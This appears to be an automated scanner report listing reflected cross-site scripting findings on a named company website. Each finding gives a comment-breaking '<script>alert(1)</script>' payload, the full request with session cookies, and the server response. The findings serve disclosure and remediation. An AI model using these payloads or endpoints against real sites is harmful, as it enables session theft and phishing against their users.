Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into an HTML comment. The payload dedb2--><script>alert(1)</script>b125b1edff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /aboutdedb2--><script>alert(1)</script>b125b1edff/ HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1; __utmz=206394567.1290640759.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=206394567.1478759662.1290640759.1290640759.1290640759.1; __utmc=206394567; __utmb=206394567.2.10.1290640759
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:26 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 433
The value of REST URL parameter 1 is copied into an HTML comment. The payload fed3d--><script>alert(1)</script>eb8a4890d90 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /building-managementfed3d--><script>alert(1)</script>eb8a4890d90/ HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1; __utmz=206394567.1290640759.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=206394567.1478759662.1290640759.1290640759.1290640759.1; __utmc=206394567; __utmb=206394567.8.10.1290640759
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:29 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 463
The value of REST URL parameter 1 is copied into an HTML comment. The payload df3fa--><script>alert(1)</script>6044dc4b53a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /business-systemsdf3fa--><script>alert(1)</script>6044dc4b53a/ HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1; __utmz=206394567.1290640759.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=206394567.1478759662.1290640759.1290640759.1290640759.1; __utmc=206394567; __utmb=206394567.10.10.1290640759
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:35 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 457
The value of REST URL parameter 1 is copied into an HTML comment. The payload c6399--><script>alert(1)</script>47a844096c2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /communication-systemsc6399--><script>alert(1)</script>47a844096c2/ HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1; __utmz=206394567.1290640759.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=206394567.1478759662.1290640759.1290640759.1290640759.1; __utmc=206394567; __utmb=206394567.6.10.1290640759
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:30 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 467
The value of REST URL parameter 1 is copied into an HTML comment. The payload 7e5b0--><script>alert(1)</script>53c553eb2ba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /contact7e5b0--><script>alert(1)</script>53c553eb2ba/ HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1; __utmz=206394567.1290640759.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=206394567.1478759662.1290640759.1290640759.1290640759.1; __utmc=206394567; __utmb=206394567.3.10.1290640759
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:35 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 439
The value of REST URL parameter 1 is copied into an HTML comment. The payload 14e14--><script>alert(1)</script>53f4f3d0ba0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /css14e14--><script>alert(1)</script>53f4f3d0ba0/c.css?set=css&v=1269484834000 HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Referer: http://www.end2end.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:18 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 441
The value of REST URL parameter 2 is copied into an HTML comment. The payload d3550--><script>alert(1)</script>7a21e9e4786 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /css/c.cssd3550--><script>alert(1)</script>7a21e9e4786?set=css&v=1269484834000 HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Referer: http://www.end2end.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:27 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 441
The value of the set request parameter is copied into an HTML comment. The payload 87fa6--><script>alert(1)</script>9fafc28263d was submitted in the set parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /css/c.css?set=css87fa6--><script>alert(1)</script>9fafc28263d&v=1269484834000 HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Referer: http://www.end2end.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1
Response
HTTP/1.1 500 Internal Server Error Date: Wed, 24 Nov 2010 22:35:10 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=ISO-8859-1 Content-Length: 3764
<html> <head> <title>Error</title> <style type="text/css"> body, td { font-family: arial, helvetica, sans-serif; font-size: 11px; background-color: #ffffff; color: #000000; } </st ...[SNIP]... <!-- Exception: java.io.IOException: Compressor set "css87fa6--><script>alert(1)</script>9fafc28263d" doesn't exist or contains no files java.io.IOException: Compressor set "css87fa6--> ...[SNIP]...
The value of REST URL parameter 1 is copied into an HTML comment. The payload 89b39--><script>alert(1)</script>d161ad87a83 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /it-services89b39--><script>alert(1)</script>d161ad87a83/ HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1; __utmz=206394567.1290640759.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=206394567.1478759662.1290640759.1290640759.1290640759.1; __utmc=206394567; __utmb=206394567.5.10.1290640759
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:27 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 447
The value of REST URL parameter 1 is copied into an HTML comment. The payload 8e559--><script>alert(1)</script>82457fa02e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /js8e559--><script>alert(1)</script>82457fa02e7/c.js?set=js&v=1269484834000 HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Referer: http://www.end2end.co.nz/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:27 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 437
The value of REST URL parameter 2 is copied into an HTML comment. The payload ce760--><script>alert(1)</script>7157eec00ab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /js/c.jsce760--><script>alert(1)</script>7157eec00ab?set=js&v=1269484834000 HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Referer: http://www.end2end.co.nz/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:38 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 437
The value of the set request parameter is copied into an HTML comment. The payload 54f15--><script>alert(1)</script>9c92451f5d9 was submitted in the set parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /js/c.js?set=js54f15--><script>alert(1)</script>9c92451f5d9&v=1269484834000 HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Referer: http://www.end2end.co.nz/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1
Response
HTTP/1.1 500 Internal Server Error Date: Wed, 24 Nov 2010 22:35:19 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=ISO-8859-1 Content-Length: 3762
<html> <head> <title>Error</title> <style type="text/css"> body, td { font-family: arial, helvetica, sans-serif; font-size: 11px; background-color: #ffffff; color: #000000; } </st ...[SNIP]... <!-- Exception: java.io.IOException: Compressor set "js54f15--><script>alert(1)</script>9c92451f5d9" doesn't exist or contains no files java.io.IOException: Compressor set "js54f15--> ...[SNIP]...
The value of REST URL parameter 1 is copied into an HTML comment. The payload 909c7--><script>alert(1)</script>f6002b6b406 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /network-engineering909c7--><script>alert(1)</script>f6002b6b406/ HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1; __utmz=206394567.1290640759.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=206394567.1478759662.1290640759.1290640759.1290640759.1; __utmc=206394567; __utmb=206394567.6.10.1290640759
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:32 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 463
The value of REST URL parameter 1 is copied into an HTML comment. The payload 593d4--><script>alert(1)</script>86358024517 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /residential-automation593d4--><script>alert(1)</script>86358024517/ HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1; __utmz=206394567.1290640759.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=206394567.1478759662.1290640759.1290640759.1290640759.1; __utmc=206394567; __utmb=206394567.8.10.1290640759
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:31 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 469
The value of REST URL parameter 1 is copied into an HTML comment. The payload 85340--><script>alert(1)</script>e5fffdab9e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /services85340--><script>alert(1)</script>e5fffdab9e7/ HTTP/1.1 Host: www.end2end.co.nz Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B48A0E2521CD6488FED09C3EA44258E1; __utmz=206394567.1290640759.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=206394567.1478759662.1290640759.1290640759.1290640759.1; __utmc=206394567; __utmb=206394567.2.10.1290640759
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:35:26 GMT Server: Apache/2.2.9 (Debian) Vary: Accept-Encoding Content-Type: text/html;charset=ISO-8859-1 Content-Length: 441